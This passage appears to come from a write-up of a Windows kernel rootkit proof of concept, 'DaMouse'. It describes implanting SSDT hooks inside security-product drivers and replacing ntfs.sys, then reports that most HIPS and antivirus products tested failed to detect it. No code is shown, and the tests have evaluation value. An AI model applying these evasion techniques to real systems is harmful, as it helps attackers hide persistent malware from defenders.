AntiRootkit applications would run. The second AntiRootkit implant Ring0SubtleSSDT works by implanting its code into a security products driver and installing its SSDT hook from there. See picture below of implanted SSDT hook working out of the Sunbelt Personal Firewall driver fwdrv.sys. This highlights the problem of determining whether hooks and patches are legitimate. The AntiRootkit applications all detect the SSDT hook all right, but amongst all the other SSDT hooks installed by that product we are hidden.Vs Protection software1.DaMouse was configured to install a SSDT hook on NtOpenProcess from the ntfs.sys driver2.Then DaMouse installer was run with different security products installed to check their effectiveness3.The system was rebooted twice to allow the ntfs.sys driver to be replaced and the rootkit code executed.DaMouse Vs PCTools ThreatFire Ver: 3.04Product Description: HIPSResult: When DaMouse was run ThreatFire did not produce any warning of system compromise. After step 3 was completed no warning was issued by the product at this point. A rootkit scanning option in ThreatFire was run (Full scan selected). No rootkit activity was detected.Conclusion: This product did not provide any defense or indication of system compromiseDaMouse Vs Kaspersky Internet Security Ver: 7.0.0.125Product Description: Internet Security SuiteResult: This product was installed with the highest security and all optional extra security settings selected. (Heuristics was increased to highest setting, proactive defense was enabled.) I scanned DaMouse first with the antivirus, result was no threat found. Next DaMouse was executed. KAV did not raise any warnings. Step 3 was completed. KAV did not raise any warnings.Conclusion: This product did not provide any defense or indication of system compromise. It did however protect its own files from implantation, but did so without alerting the user to the fact that anything was wrong.DaMouse Vs Sunbelt Personal Firewall Ver: 4.5.916.0Product Description: Firewall/HIPSResult: This product was installed with the application behaviour blocking and the HIPS enabled. DaMouse was executed. Sunbelt Personal Firewall did not raise any warnings. Step 3 was completed. Sunbelt Personal Firewall did not raise any warnings.Conclusion: This product did not provide any defense or indication of system compromise. This products HIPS system appears to be minimal in terms of what events it monitors.DaMouse Vs DefenseWall HIPS Ver: 2.05Product Description: HIPSResult: This product was installed and DaMouse.exe installer was added to the list of untrusted applications. DaMouse was executed, no warning was noted. Step 3 was completed. DefenseWall HIPS had blocked installation and noted an attempt to write to sfcfiles.dll.Conclusion: This product did not provide any warning to the consumer, but the information was logged by the application however. The attack was blocked in a satisfactory manner.DaMouse Vs Dynamic Security Agent HIPS Ver:Product Description: HIPSResult: Installed with sensitivity set to 90%. This product produced a cryptic warning message stating "An attempt to access to a protected file object has been detected. File Path: C:\DOCUME~1\a1\LOCALS~1\Temp\fReplace.exe". While there was a warning noted it was of no help to the user to ascertain whether or not this behaviour was acceptable. If I were as a regular computer user to read that message it would seem that the program was only creating a temp file.Conclusion: This product did provide a warning to the consumer, but the information provided was not very informative the user. This is a strong HIPS system, though the reliance on the uninformed user puts it behind DefenseWall HIPS.Its pretty simple to use and only takes about 3 or 4 lines of code to implement.Diagram showing infection of driver and integration into the Operating SystemPicture showing SSDT hooks belonging to infected security product driver - Sunbelt Personal Firewall, the NtOpenProcess SSDT hook actually belongs to our rootkit which you can see printing debug informationHave fun